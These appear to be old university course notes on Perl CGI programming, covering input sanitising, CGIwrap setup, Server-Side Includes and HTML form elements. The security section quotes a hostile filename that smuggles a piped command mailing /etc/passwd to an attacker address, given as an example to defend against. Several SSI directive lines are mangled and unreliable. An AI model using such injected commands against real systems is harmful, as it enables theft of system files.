Another security hole is related to using external data to open or create files. Some enterprising hacker could use `"| mail hacker@hacker.com < /etc/passwd"` as the filename to mail your password file or any other file to himself.

All of these security holes can be avoided by removing the dangerous characters (like the | or pipe character) as follows in `security.pl`:

Here we:

- Define the *`improveSecurity()`* function.
- Copy the passed string into *`$_`*, the default search space.
- Protect against command-line options by removing `-` and `+` characters.
- Additional protection against command-line options.
- Convert all dangerous characters into harmless underscores.
- Return the *`$_`* variable.

The Perl code for `security.pl` is:

```
sub improveSecurity {
    $_ = shift;
    s/\-+(.*)/\1/g;
    s/(.*)[ \t]+\-(.*)/\1\2/g;
    tr/\$\'\`\"\<\>\/\;\!\|/_/;
    return($_);
}
```

- CGIwrap and Security

---

dave@cs.cf.ac.uk

CGIwrap and Security

CGIwrap (**http://wwwcgi.umr.edu/cgiwrap/**) is a UNIX-based utility written by Nathan Neulinger that lets general users run CGI scripts without needing access to the server's `cgi-bin` directory. Normally, all scripts must be located in the server's main `cgi-bin` directory and all run with the same UID (user ID) as the Web server. CGIwrap performs various security checks on the scripts before changing ID to match the owner of the script. All scripts are executed with same the user ID as the user who owns them. CGIwrap works with ncSA, Apache, CERN, Netsite, and probably any other UNIX Web server.

Any files created by a CGI program are normally owned by the Web server. This can cause a problem if you need to edit or remove files created by CGI programs. You might have to ask the system administrator for help because you lack the proper auhorization. All CGI programs have the same system permissions as the Web server. If you run your Web server under the root user ID-being either very brave or very foolish-a CGI program could be tricked into erasing the entire hard drive. CGIwrap provides a way around these problems.

With CGIwrap, scripts are located in users' `public_html/cgi-bin` directory and run under their user ID. This means that any files the CGI program creates are owned by the same user. Damage caused by any security bugs you may have introduced-via the CGI program-will be limited to your own set of directories.

In addition to this security advantage, CGIwrap is also an excellent debugging tool. When CGIwrap is installed, it is copied to `cgiwrapd`, which can be used to view output of failing CGIs.

You can install CGIwrap by following these steps:

1. Obtain the source from the **http://www.umr.edu/cgiwrap/download.html** Web page.
2. Ensure that you have root access.
3. Unpack and run the Configure script.
4. Type **make**.
5. With a user ID of root, copy the `cgiwrap` executable to your server's `cgi-bin` directory.
6. Make sure that `cgiwrap` is owned by root and executable by all users by typing **chown root cgiwrap; chmod 4755 cgiwrap**. The `cgiwrap` executabe must also be set UID.
7. In order to gain the debugging advantages of CGIwrap, create symbolic links to `cgiwrap`

called `cgiwrapd`, `nph-cgiwrap`, and `nph-cgiwrapd`. The first symbolic link can be created by typing **ln -s cgiwrap cgiwrapd**. The others are created using similar commands.

Tip You can find additional information at the **`http://www.umr.edu/cgiwrap/install.html`** web site.

---

 dave@cs.cf.ac.uk

The Other Side of CGI:Input -- HTML Forms

One of the most popular uses for CGI programs is to process information from HTML forms. This chapter gives you an extremely brief overview of HTML and Forms. Next you see how the form information is sent to CGI programs. After being introduced to form processing, a Guest book application is developed.

- A Brief Overview of HTML
- Server-Side Includes
- Forms: Facilitating User Input and Interaction
  - Forms and CGI: What are they?
  - Some Example Forms
  - The FORM Tag
  - Entering Data
    - The Submit Button
    - Text Input
  - Password
  - Associating labels with text and password input
  - Radio Buttons
  - Checkboxes
  - Assigning Initial Input Values to
  - Select
  - Textarea
  - Hidden Input
  - An Example Form
  - HTML Forms as an Interface to Databases
  - Further Information
- CGI Script Input: Accepting Input To Perl Scripts
  - Accepting Input from the Browser
  - Passing Data to a CGI Script

- A Simple Form CGI Script Call
- The Other Side -- receiving and processing information in CGI (Perl) script
- cgi-lib.pl
- The `cgi.pm` module
- A Minimal Form Response CGI Perl Script
- Multiple argument input to a Perl CGI script

---

dave@cs.cf.ac.uk

A Brief Overview of HTML

Further HTML information may be found in Appendix B.

HTML, or *HypertextMarkupLanguage*, is used by web programmers to describe the contents of a web page. It is not a programming language. You simply use HTML to indicate what a certain chunk of text is-such as a paragraph, a heading or specially formatted text. All HTML directives are specified using matched sets of angle brackets and are usually called *tags*. For example `<B>` means that the following text should be displayed in **bold**. To stop the bold text, use the `</B>` directive. Most HTML directives come in pairs and surround the affected text.

HTML documents need to have certain tags in order for them to be considered "correct". The `<HEAD>..</HEAD>` set of tags surround the header information for each document. Inside the header, you can specify a document title with the `<TITLE>..</TITLE>` tags.

Tip HTML tags are case-insensitive. For example, `<TITLE>` is the same as `<title>`. However, using all upper case letters in the HTML tags make HTML documents easier to understand because you can pick out the tags more readily.

After the document header, you need to have a set of `<BODY>..</BODY>` tags. Inside the document's body, you specify text headings by using a set of `<H1>..</H1>` tags. Changing the number after the H changes the heading level. For example, `<H1>` is the first level. `<H2>` is the second level, and so on.

You can use the `<P>` tag to indicate paragraph endings or use the `<BR>` to indicate a line break. The `<B>..</B>` and `<I>..</I>` tags are used to indicate bold and italic text.

The text and tags of the entire HTML document must be surrounded by a set of `<HTML>..</HTML>` tags. For example:

```
<HTML>
<HEAD><TITLE>This is the Title</TITLE></HEAD>
<BODY>
<H1>This is a level one header</H1>
This is the first paragraph.
<P>This is the second paragraph and it has <I>italic</I> text.
<H2>This is a level two header</H2>
This is the third paragraph and it has <B>bold</B> text.
</BODY>
</HTML>
```

Most of the time, you will be inserting or modifying text inside the `<BODY>..</BODY>` tags.

That's enough about generic HTML. The next section discusses Server-Side Includes. Today, Server-Side Includes are replacing some basic CGI programs, so it is important to know about them.

 dave@cs.cf.ac.uk

Server-Side Includes

One of the newest features that has been added to web servers is that of Server-Side Includes or SSI. SSI is a set of functions built into web servers that give HTML developers the ability to insert data into HTML documents using special directives. This means that you can have dynamic documents without needing to create full CGI programs.

The inserted information can take the form of a local file or a file referenced by a URL. You can also include information from a limited set of variables-similar to environmental variables. Finally, you can execute programs that can insert text into the document.

Note The only real difference between CGI programs and SSI programs is that CGI programs must output an HTTP header as their first line of output. See "HTTP Headers" in Chapter 19, "What Is CGI?," for more information.

Most Web servers need the file extension to be changed from `html` to `shtml` in order for the server to know that it needs to look for Server-Side directives. The file extension is dependent on server configuration, but shtml is a common choice.

All SSI directives look like HTML comments within a document. This way, the SSI directives will simply be ignored on Web servers that do not support them.

Below is partial list of SSI directives supported by the many servers. Not all Web servers will support all of the directives in the table. You need to check the documentation of your web server to determine what directives it will support.

`<!-#config timefmt=mt="%c"->`

-- Changes the format used to display dates.

`<!-#config sizefmt=mt="%d bytes"->`

-- Changes the format used to display file sizes. You may also be able to specify `bytes` (to display file sizes with commas) or `abbrev` (to display the file sizes in kilobytes or megabytes).

`<!-#config errmsg=sg="##ERROR!##"->`

-- Changes the format used to display error messages caused by wayward SSI directives. Error messages are also sent to the server's error log.

`<!-#echo var=?->`

-- Displays the value of the variable specified by ?. Several of the possible variables are mentioned in this table.

`<!-#echo var=ar="DOCUMENT_NAME"->`

-- Displays the full path and filename of the current document.

`<!-#echo var=ar="DOCUMENT_URI"->`

-- Displays the virtual path and filename of the current document.

`<!-#echo var=ar="LAST_MODIFIED"->`

-- Displays the last time the file was modified. It will use this format for display: `05/31/96 16:45:40`.

`<!-#echo var=ar="DATE_LOCAL"->`

-- Displays the date and time using the local time zone.

`<!-#echo var=ar="DATE_GMT"->`

-- Displays the date and time using GMT.

`<!-#exec cgi=gi="/cgi-bin/ssi.exe"->`

-- Executes a specified CGI program. It must be activated to be used. You can also use a `cmd=` option to execute shell commands.

`<!-#flastmod virtual=al="/docs/demo/ssi.txt"->`

-- Displays the last modification date of the specified file given a virtual path.

`<!-#flastmod file=le="ssi.txt"->`

-- Displays the last modification date of the specified file given a relative path.

`<!-#fsize virtual=al="/docs/demo/ssi.txt"->`

-- Displays the size of the specified file given a virtual path.

`<!-#fsize file=le="ssi.txt"->`

-- Displays the size of the specified file given a relative path.

`<!-#include virtual=al="/docs/demo/ssi.txt"->`

-- Displays a file given a virtual path.

`<!-#include file=le="ssi.txt"->`

-- Displays a file given a relative path. The relative path can't start with the `../` character sequence or the `/` character to avoid security risks.

SSI provides a fairly rich set of features to the programmer. You might use SSI if you had an existing set of documents to which you wanted to add modification dates. You might also have a file you want to include in a number of your pages-perhaps to act as a header or footer. You could just use the SSI include command on each of those pages, instead of copying the document into each page manually. When available, Server-Side Includes provide a good way to make simple pages more interesting.

Before Server-Side Includes were available, a CGI program was needed in order to automatically generate the last modification date text or to add a generic footer to all pages.

Your particular web server might have additional directives that you can use. Check the documentation that came with it for more information.

Further INFO: If you'd like more information about Server-Side Includes, check out the following Web site: `http://www.sigma.net/tdunn/` which has documents detailing some of the more technical aspects of Web sites.

Disadvantage of SSI There is one down side of Server-Side Includes. They are very processor intensive. If you don't have a high-powered computer running your web server and you expect to have a lot of traffic, you might want to limit the number of documents that use Server-Side Includes.

---

dave@cs.cf.ac.uk

Forms: Facilitating User Input and Interaction

All HTML learnt so far has involved producing and giving out information.

Today, The Web is truly interactive:

- Users request information
- Users supply information

There are many ways to provide interaction on the Web today.

Fill-in Forms are the *bread and butter* of Web Interaction. And the **only** means of doing interaction directly in HTML (well nearly).

- Forms and CGI: What are they?
- Some Example Forms
- The FORM Tag
- Entering Data
  - The Submit Button
  - Text Input
- Password
- Associating labels with text and password input
- Radio Buttons
- Checkboxes
- Assigning Initial Input Values to
- Select
- Textarea
- Hidden Input
- An Example Form
- HTML Forms as an Interface to Databases
- Further Information

---

dave@cs.cf.ac.uk

Forms and CGI: What are they?

There are two parts two providing user interaction in HTML forms:

Form

-- the HTML form itself. **The User Interface**.

A CGI script

-- a program which resides on the Web server itself. This program is written in a language such as Perl, C/C++, TCL, AppleScript, or another Common Gateway Interface (CGI) language.

The Common Gateway Interface

The role of this CGI program is:

- to accept the data which the user inputs and
- do something with it.
- usually, send a reply back to user.

Figure: The Common Gateway Interface

What does a CGI program do?

- That depends on what the program has been written to do.
- It could e-mail the data to someone,
- or add an entry to a database,
- or write out a text file,
- or create a customized display,
- or just about anything else you can think of.

For this section we will concentrate on the User interface (HTML side) of Forms. Subsequent sections will deal with CGI and Perl programming.

---

 dave@cs.cf.ac.uk

Some Example Forms

Forms exist in many varieties on the Internet serving many applications.

Here are a few examples:

- Internet Movie Database Front end to a database
- Yahoo Front end to a WWW Search Engine

The simplest form is a single Text entry field and a submit button:

Submit Data:

Typically forms consist of many fields that support different kinds of input:

Python Quiz:

What is thy name:

What is thy quest:

What is thy favorite color: chartreuse

What is the air speed/velocity of a swallow: African Swallow or Continental Swallow

What do you have to say for yourself

Press here to submit your query.

---

dave@cs.cf.ac.uk

The FORM Tag

The `<FORM>` tag defines a environment where other HTML contents are placed to create the form.

Any tag which is allowed inside of the `<BODY>` container is allowed inside a form.

- Headings, paragraphs, lists, tables, images, links -- anything and everything goes.
- In addition, there are certain tags which are allowed to exist inside a form, and nowhere else.

This tag has two attributes which **must** be used if the form is to work correctly.

METHOD

has two possible values:

- **POST** Contacts the server (CGI program) and once connection established sends data
- **GET** Contacts the server (CGI program) and sends data in a single transaction. (More on this later).

ACTION

attribute contains the URL of the CGI program which processes the data sent by the browser. The value of ACTION can be either a relative or a full URL.

The action attribute can also be a URL to an email address or such thing.

Here's what an empty form would look like:

```
<FORM method="post"
      action="/cgi-bin/program1.pl">

</FORM>
```

In the example above, we assume the CGI program (`program1.pl`) resides in the cgi-bin directory of the server which contains the form itself.

A form that would email you directly could look like this:

```
<FORM METHOD="POST"
      ACTION="mailto:your email address">

The tags added to HTML to allow for HTML forms
are:

<FORM>. . . </FORM>
       Define an input form.
       Attributes: ACTION, METHOD, ENCTYPE
<INPUT>
       Define an input field.
```

```
        Attributes: NAME, TYPE, VALUE, CHECKED, SIZE, MAXLENGTH
<SELECT> . . . </SELECT>
        Define a selection list.
        Attributes: NAME, MULTIPLE, SIZE
<OPTION>
        Define a selection list selection (within a SELECT).
        Attribute: SELECTED
<TEXTAREA> . . . </TEXTAREA>
        Define a text input window.
        Attribute: NAME, ROWS, COLS
```

---

dave@cs.cf.ac.uk

Entering Data

There are several ways for the user to enter data in a form. They basically involve either typing text or selecting a button, list or menu item with a mouse.

Input items include:

- Text Box
- Text Area
- Radio Button
- Check box
- Pop-up Box
- Image Buttons or Image Maps

The `<INPUT>` tag is used to supply several types of INPUT (mentioned above).

It has a `TYPE` tag that takes different values depending on the input type requested. Let us now look at some of these input types

---

- The Submit Button
- Text Input

---

dave@cs.cf.ac.uk

The Submit Button

Every Form should have one -- eventually you will need to send the data from the form.

The `type` attribute ``SUBMIT'' is used to indicate a submit button.

The simplest input button is produced by:

```
<input type = "submit">
```

This creates the following button:

Submit

You can change the name of the button with the `VALUE` attribute. For Example

Input Data

Several buttons may be included in a form and by including a `name` attribute the CGI script can check this with the `value` (a *name/value pair*) to see which button was pressed. More on this in CGI script sections later.

For Example:

```
<form>
<input type="submit" name = "left" value = "left">
<input type="submit" name = "right" value = "right">
<input type="submit" name = "up" value = "up">
<input type="submit" name = "down" value = "down">
</form>
```

which gives:

left right up down

---

dave@cs.cf.ac.uk

Text Input

A `text` input is simply a box in which anything can be typed -- letters, numbers, or anything else -- via the keyboard. In most browsers, the box is twenty characters wide, but this can vary.

Simply set the `type` attribute of the `input` tag to get a text input box:

```
<INPUT type="text">
```

which would result result in:

The `SIZE` attribute can be used to fix the width of the displayed box:

- .The value of `SIZE` is a positive integer
- The value specifies the width of the input box as a number of characters.
- Therefore, `SIZE=9` means the input will be nine characters wide.

```
<INPUT type="text" size=9>
```

which would result result in:

You can limit the number of characters which may be input by using the `MAXLENGTH` attribute. The value of `MAXLENGTH` is expressed as a number of characters, just as SIZE is. For Example:

```
<INPUT type="text" name="socsec" size=9 maxlength=9>
```

which creates an input field nine characters wide into which no more than nine characters may be input.

or

```
<INPUT type="text" name="socsec" size=9 maxlength=11>
```

which creates an input field is still nine characters wide, but the user can enter up to eleven characters.

---

dave@cs.cf.ac.uk

Password

One obvious drawback of the text input is its openness. Suppose you needed to ask for a password. If you use an `<INPUT type="text">` tag, anyone sitting next to or behind the user will be able to read what the user types as it appears on the screen. This is *Not a Good Thing*.

There is a solution to this problem, in the form of a new type of input.

This is the password input:

- Password inputs are similar to text inputs -- accept any input from the keyboard, they can have SIZE and MAXLENGTH attributes *etc*. For example:

  ```
  <INPUT type="password" name="pwd"
         size=15 maxlength=15>
  ```

- The difference is that when the user types in a password field, the computer displays bullets or asterisks instead of the characters being typed.

Try Typing in the field below:

Be warned, however: this 'visual security' is the furthest extent of the security afforded by the password input. There is absolutely no encryption of any kind whatsoever. Information entered into a password input is still sent to the CGI program 'in the clear;' that is, as plain text. This makes it vulnerable to security attacks such as packet sniffing, which are uncommon but not unheard of.

The only way to ensure the safety of information entered into a password field is to send it over a connection to a secure Web server, in which case all of the data entered into the form- not just the password field- is encrypted.

---

dave@cs.cf.ac.uk

Associating labels with text and password input

The above examples do not look good and maybe confusing when viewed as multiple input.

- There is no label or wording to indicate which field inputs what values
- **Solution**: assign some text as a label

This is done in straight forward HTML. For Example:

```
<form>
<p> Enter Your Name:
<INPUT type="text"  size=15> <br>
Enter Your Password:
<INPUT type="password" name="pwd"
        size=15 maxlength=15>
</p>
</form>
```

Enter Your Name:

Enter Your Password:

---

dave@cs.cf.ac.uk

Radio Buttons

This INPUT type is best used when you want the user to select one of a limited number of choices. For example, suppose you wanted to find out which computer operating system your users prefer. Of the six options provided, the user should only be able to pick one. The list will look something like this:

Your favorite computer operating system:
○ Macintosh
○ DOS
○ Windows
○ Windows95
○ OS/2
○ UNIX

What happens, as you have seen, is that only one option can be chosen. If an option is already selected, then choosing another option will de-select the previously chosen option and select the new option. Since there is nowhere for the user to enter a value, however, the value of each option must be specified in the HTML markup itself, using the VALUE attribute.

To produce a radio button simply specify the `radio` value to the `type` attribute. For Example:

```
<P>
Your favorite computer operating system:<BR>
<INPUT type="radio" name="fav_os" value="mac">Macintosh<BR>
<INPUT type="radio" name="fav_os" value="dos">DOS<BR>
<INPUT type="radio" name="fav_os" value="win">Windows<BR>
<INPUT type="radio" name="fav_os" value="win95">Windows95<BR>
<INPUT type="radio" name="fav_os" value="os2">OS/2<BR>
<INPUT type="radio" name="fav_os" value="unix">UNIX<BR>
</P>
```

Again, the use of the Name/Value attribute pair is required for (multiple) radio-button input to CGI scripts.

---

dave@cs.cf.ac.uk

Checkboxes

The HTML markup for a checkbox logical input looks very similar to that for radio buttons. The only structural difference is the use of `TYPE="checkbox"` . Multiple selections are allowed however:

What operating systems have you used?
☐ Macintosh
☐ DOS
☐ Windows
☐ Windows95
☐ OS/2
☐ UNIX

The HTML to produce the above is:

```
<P>
What operating systems have you used?<BR>
<INPUT type="checkbox" name="os_used" value="mac">Macintosh<BR>
<INPUT type="checkbox" name="os_used" value="dos">DOS<BR>
<INPUT type="checkbox" name="os_used" value="win">Windows<BR>
<INPUT type="checkbox" name="os_used" value="win95">Windows95<BR>
<INPUT type="checkbox" name="os_used" value="os2">OS/2<BR>
<INPUT type="checkbox" name="os_used" value="unix">UNIX<BR>
</P>
```

how do multiple responses get transmitted if there's only one value allowed for a given name?

Let's assume that the user checks the boxes for Macintosh, DOS, and Windows95.

- The value of `os_used` would be

  ```
  mac|dos|win95
  ```

  , where the

  ```
  |
  ```

  represents a separator (usually a null character).
- There is one value for the `NAME` defined as `os_used`, but it contains all of the options which the user selected.
- The CGI program will need to be able to take the value and split it up into its components.
- Fortunately, most CGI languages have libraries which were written to accept form-entered data, so this should not be a problem.
- More on this later.

dave@cs.cf.ac.uk

Assigning Initial Input Values to

You can set any input radio or checkbox when they are created.

- This is accomplished by using the `CHECKED` attribute.
- Simply adding this attribute to a radio or checkbox `INPUT` tag will cause that INPUT to be selected as soon as the page is loaded (or reloaded).

For example, suppose you're going to ask a question you're pretty sure you know the answer to, but can't be completely certain.

Are you awake at the moment? ◉ Yes ○ No

The HTML to produce the above is:

```
Are you awake at the moment?
  <INPUT type="radio" name="awake"
         value="Y" checked>Yes
  <INPUT type="radio" name="awake"
         value="N">No
```

Obviously, you will want to use CHECKED on only one option in a radio-button logical input, as shown above, but multiple checkboxes in a given logical input could be set as CHECKED.

Text inputs and buttons to select are all very nice, but they clutter up the screen and get a little boring after a while.

---

dave@cs.cf.ac.uk

Select

Let's say you want to have your readers indicate which country they live in.

- You could create a radio-button input listing all two-hundred-plus countries in the world,
- but that would obviously take up a lot of space on the screen.
- How can you avoid this unsightly mess?

Well, you could try using a `SELECT` list. This will create a pop-up list from which any one option may be selected. The advantages are that you still have a list to choose from, but it takes up very little screen space until the user interacts with the list.

As you saw, you can change the current option by selecting the list and moving through it until you get the choice you want.

The `<SELECT>` tag is used to create the environment and each choice in the select list is defined using the `<OPTION>` tag

For Example:

```
<P>
What Continent are you from?
<SELECT name="access">
<OPTION> Europe
<OPTION> America
<OPTION> Australasia
<OPTION> Asia
<OPTION> Oops, Wrong planet!!
</SELECT>
</P>
```

which gives:

What Continent are you from? Europe

Textarea

The TEXTAREA tag is used to create a box where the user may type large amounts of text at will. A typical use for TEXTAREA is to ask users to input general comments they may have about a Web site. In addition to having some special attributes, TEXTAREA is a container, so the close-tag is required.

For example:

```
<TEXTAREA name="comments" rows=5 cols=65>

</TEXTAREA>
```

- `rows` and `cols` give the dimension of the textarea in characters.

which gives:

You can insert some text into the textarea as a default, it would go between the open and close tags.

For Example:

```
<TEXTAREA name="comments" rows=5 cols=65>
Please type here...

</TEXTAREA>
```

- `rows` and `cols` give the dimension of the textarea in characters.

which gives:

Please type here...

Hidden Input

It does exactly what it sounds like: it allows for an input which is hidden from the user.

Why have hidden input?

The simple answer is

- to pass information to the CGI program which does not and should not change, but is for some reason important.
- Plenty of examples to come.

Hidden input is specified via `hidden` value to `type attribute`. For example:

```
<INPUT type="hidden" name="sendTo"
       value="dave@cs.cf.ac.uk">
```

---

dave@cs.cf.ac.uk

An Example Form

This section presents a simple form and shows how it can be represented using the HTML forms facility, filled out by a user, passed to a server, and generate a reply. The form asks for information about using the World Wide Web.

Here is an HTML document that defines the Example Form just presented

You can select this link to see what this form looks like from your browser

```
<html>
<head>
<title>This is a practice form.</title>
</head>

<body>

<FORM METHOD=POST
        ACTION="http://www.cc.ukans.edu/cgi-bin/post-query">

Please help us to improve the World Wide Web by filling in
the following questionaire:

   <P>Your organization? <INPUT NAME="org" TYPE=text SIZE="48">

   <P>Commercial? <INPUT NAME="commerce" TYPE=checkbox>

           How many users? <INPUT NAME="users" TYPE=int>

   <P>Which browsers do you use?

   <OL>
    <LI>Cello <INPUT NAME="browsers" TYPE=checkbox VALUE="cello">
    <LI>Lynx <INPUT NAME="browsers" TYPE=checkbox VALUE="lynx">
    <LI>X Mosaic <INPUT NAME="browsers" TYPE=checkbox VALUE="mosaic">
    <LI>Others <INPUT NAME="others" SIZE=40>
   </OL>

A contact point for your site: <INPUT NAME="contact" SIZE="42">

<P>Many thanks on behalf of the WWW central support team.

    <P><INPUT TYPE=submit> <INPUT TYPE=reset>
```

```
</FORM>
</body>
</html>
```

---

dave@cs.cf.ac.uk

HTML Forms as an Interface to Databases

One of the forces behind the development of the Common Gateway Interface was the desire to integrate databases with the Web. There are several alternative approaches, and the CGI is one of the most widely used. There are several advantage to the CGI approach:

- One client can serve as a front end for multiple databases
- One database can talk to multiple clients, each with its native platform interface characteristics.
- Changing the database query model does not require changing all clients in the field-only the form documents accessed by clients

And, of course, there are some difficulties:

- The interface does not support an exhaustive set of data types
- The forms interface is form oriented rather than field oriented, so that it is not as robust as it could be:
  - it does not support client-side range checking for data values, and
  - it requires the user to press a submit button for any server involvement.
- Navigation among various input fields can be awkward on some platforms
- CGI is built over HTTP which is a "stateless" protocol. That is, the connection between the client and the server is broken as soon as the server responds. Implementing "statefulness" in this environment is awkward, complex, and can be wasteful of computing resources.

This is where we start on the real HTML markup for forms. (Remember, this is only half the story-the other half is the CGI program.) We've already seen how the |<FORM>| tag works. Now we start creating ways for the user to enter actual data.

The user is perfectly free to add to, alter, or completely replace the contents of the input box if he feels like doing so, of course. If he does nothing to the contents of the input, then its predefined value will be used when the form is submitted. Sources of Additional Information

---

dave@cs.cf.ac.uk

Further Information

- For an introduction to CGI scripting and HTML forms organized around writing Perl scripts see "Building Blocks for CGI Scripts in Perl" at http://www.cc.ukans.edu/info/cgi/cgi-with-perl.htm
- Information describing the NCSA implementation of NCSA httpd and its forms interface is provided at: http://hoohoo.ncsa.uiuc.edu/cgi/overview.html
- Information about the Windows implementation of the NCSA server and its forms interface is available from: http://www.city.net/win-httpd/
- Additional Information about writing CGI scripts in Perl is available at http://www.yahoo.com/Computers/World_Wide_Web/Programming/Perl_Scripts/

---

dave@cs.cf.ac.uk

CGI Script Input: Accepting Input To Perl Scripts

A CGI script will often require some form of input in order to operate.

In fact, only very trivial CGI scripts can be created without input.

We have introduced HTML Forms as a prime means of CGI input. However, there are several other forms of input to a CGI script.

In this section we will study:

- What form of input a CGI can receive
- How a CGI receives input.
- How to process the input in a CGI Perl script
- How a useful Perl library makes this (and other) tasks easy.

- Accepting Input from the Browser
- Passing Data to a CGI Script
- A Simple Form CGI Script Call
- The Other Side -- receiving and processing information in CGI (Perl) script
- cgi-lib.pl
- The `cgi.pm` module
- A Minimal Form Response CGI Perl Script
- Multiple argument input to a Perl CGI script

---

dave@cs.cf.ac.uk

Accepting Input from the Browser

A CGI script can receive data in one of four ways:

Environment Variables

-- It gets various information about the browser, the server and the CGI script itself through specially named variables automatically created and setup by the server. More on these later.

Standard Input

-- Data can be passed as standard input to CGI script. Usually this is through the `POST` method of an HTML Form. (Standalone Perl scripts get standard input from the keyboard or a file.)

Arguments of the CGI Script

-- If you call a CGI script directly or use the `GET` method of HTML Form posting information is passed as arguments of the CGI script URL. Arguments are follow a `?` after the CGI script URL and multiple arguments are separated by `&`. For example:

```
http://host/cgi-bin?arg1&arg2
```

The arguments are usually in the form of name/value pairs (See below).

Path Information

-- Files which may be read by a CGI script can be passed to a CGI script by appending the file path name to the end of the URL but before the `?` and any arguments. For example:

```
http://host/cgi-bin/script/mypath/cgiinput?arg1&arg2
```

Path information is useful if a CGI script requires data that does not frequently change, requires a lot of arguments and/or does not rely on user input values. Path Information often refers to files on the Web server such a configuration files, temporary files or data files.

---

dave@cs.cf.ac.uk

Passing Data to a CGI Script

As mentioned above there are a few ways to pass data to a CGI script.

Path Information and Arguments of a CGI Script call are explicit -- you (or the HTML Form) have to actually specify the information ad part of the call.

Standard input and Environment variables are more transparent -- we will need to deal with accepting the input within the CGI script.

Let's consider the arguments of a CGI script call further for the moment.

The `GET` method of Form posting or a direct URL call to a CGI script may use this method.

NOTE: Using the direct method of CGI Script call is a good way to debug possible Form/CGI script interaction problems.

There are several conventions adopted when passing arguments to a CGI script:

- Different fields (*e.g.* name value pairs are separated by a ampersand (&).
- Name/value pair assignments are denoted by an equals sign (=). The format is `name=value`.
- Blank spaces must be denoted by a plus sign +.
- Some special characters will be replaced by a percent sign (2 digit hexadecimal (ASCII Value) code. For example if you need to input an actual &,

The `GET` Form posting method does these things automatically.

You need to do these things yourself if call the CGI script direct from a URL.

---

dave@cs.cf.ac.uk

A Simple Form CGI Script Call

Let us now return to our minimal form example introduced previously and examine how the input is passed to a CGI script. We will then examine how the actual CGI script receives and processes the input data.

Recall the form simply has a single Text entry field and a submit button:

Submit Data:

If we set the Form method attribute to `GET` via:

```
<form method = "get" action = "minimal.cgi">
<input type="submit">Data: <input name="myfield">
</form>
```

If you enter some data in the Text field and click on submit then the call to the CGI script looks something like

```
http://myhost/minimal.cgi?myfield=dddd
```

where `minimal.cgi` is the CGI script *actioned* by the form,

Try this for yourself self by either entering data in the above form. If you want to call the CGI script yourself (by passing the Form) you simply mimic to input above.

Try typing:

```
http://www.cs.cf.ac.uk/User-bin/
Dave.Marshall/minimal.pl?myfield=mydata
```

in the Netscape location bar.

Or call is directly form here:

The Other Side -- receiving and processing information in CGI (Perl) script

There are basic ways to process or parse input in a Perl

- Do it yourself -- write several lines of Perl code to process the input.
- Use pre-written Perl libraries -- somebody has already done the arduous task of writing Perl code to parse input.

Which option would you choose?

Bear in mind that:

- Input can be provide by different mechanism.
- Input of many arguments, name/value pairs may get complex.
- We do not know enough Perl to do it ourselves yet!!
- Prewritten code has been extensively tested -- It should work.

THE INFORMED VIEW IS TO USE: pre-written Perl libraries

There are many Perl libraries available to read and parse CGI input. These are freely available on the World Wide Web

---

dave@cs.cf.ac.uk

cgi-lib.pl

The **cgi-lib.pl** library that was become the *firs* standard perl library to help parse and deal with CGI Web based interfaces. It has largely been superseded by cgi.pm -- a much larger object oriented cgi processing module (see below) also cgi-lite.pl.

Howevr many examples (see next section) and many text books still use cgi-lib.pl and it is relatively straightforward to use.

The `cgi-lib.pl` Perl library simply consists of handy, easy-to-use Perl functions. The library is more than simply a means of processing CGI input. The library includes subroutines to:

- Read and parse CGI input -- a value(s) for a given name can be easily found.
- Conveniently format CGI output.
  - Conveniently return Headers and Bottoms of standard CGI output.
  - Conveniently return URLs.
  - Conveniently return CGI Error Codes.
- Print in HTML format all name/value pairs input.
- Print in HTML format Environment variables.

The `cgi-lib.pl` input routines can accept all and process all methods of input (*e.g.* `GET` and `POST` methods). You do not have to worry about which mechanism has been adopted.

Let us now develop a `minimal.pl` CGI routine that accepts input form our minimal form and sends back HTML that echoes the input data. We will use the `cgi-lib.pl`.

---

dave@cs.cf.ac.uk

The `cgi.pm` module

Details of this module may be found at

http://stein.cshl.org/WWW/software/CGI/cgi_docs.html

This perl 5 library uses objects to create Web fill-out forms on the fly and to parse their contents. It provides a simple interface for parsing and interpreting query strings passed to CGI scripts. However, it also offers a rich set of functions for creating fill-out forms. Instead of remembering the syntax for HTML form elements, you just make a series of perl function calls. An important fringe benefit of this is that the value of the previous query is used to initialize the form, so that the state of the form is preserved from invocation to invocation.

Everything is done through a ``CGI'' object. When you create one of these objects it examines the environment for a query string, parses it, and stores the results. You can then ask the CGI object to return or modify the query values. CGI objects handle POST and GET methods correctly, and correctly distinguish between scripts called from <ISINDEX> documents and form-based documents. In fact you can debug your script from the command line without worrying about setting up environment variables.

A script to create a fill-out (`cgipm.pl`) form that remembers its state each time it's invoked is very easy to write with CGI.pm:

```
#!/usr/local/bin/perl

use CGI qw(:standard);

print header;
print start_html('A Simple Example'),
    h1('A Simple Example'),
    start_form,
    "What's your name? ",textfield('name'),
    p,
    "What's the combination?",
    p,
    checkbox_group(-name=>'words',
                   -values=>['eenie','meenie','minie','moe'],
                   -defaults=>['eenie','minie']),
    p,
    "What's your favorite color? ",
    popup_menu(-name=>'color',
               -values=>['red','green','blue','chartreuse']),
    p,
    submit,
```

```
    end_form,
    hr;

if (param()) {
    print
        "Your name is",em(param('name')),
        p,
        "The keywords are: ",em(join(", ",param('words'))),
        p,
        "Your favorite color is ",em(param('color')),
        hr;
}
print end_html;
```

However for the ramainder of this course we will not use `cgi.pm` as we will concentrate on CGI aspects that would get clouded with the employemnt of the large module.

We keep things simple for easier understanding.

NOTE HOWEVER

Real CGI Perl programmer always use this module. If this is your game you should take time out to leran and harness the routines available here as they will save you mush effort in the future.

Using cgi-lib.pl is not advised with objetc oriented perl 5. Infact if you use the `strict` pragma or evenet the `-w` option you will get warning errors for good code as cgi-lib.pl contains some poor perl.

But it has a good purpose thats saves us some effort when learning some simple Perl CGI.

Lets now look at a minimal Perl program to read a CGI script.

---

dave@cs.cf.ac.uk

A Minimal Form Response CGI Perl Script

In this subsection we will develop a `minimal.pl` CGI routine that accepts input form our minimal form and sends back HTML that echoes the input data.

We will use the `cgi-lib.pl` to

- Parse the input from the form.
- Format the HTML output.

We will need to learn some more basic Perl:

- How to include and call Perl libraries.
- How to call Perl subroutines

The first thing our Perl script will need to do is to include the Perl library file `cgi-lib.pl`.

The Perl command `require` will load in any external Perl file. It is easier and sometimes essential that all library files exist in the same folder or directory as the main Perl script calling the library.

Therefore make sure that all Perl files required for a Perl program do exist at the same folder or directory level.

NOTE: ON Unix the `cgi-lib.pl` is already installed in a special place and does not need to placed in your `cgi-bin` directory.

Thus to include our `cgi-lib.pl` file we need the Perl command:

```
require "cgi-lib.pl";
```

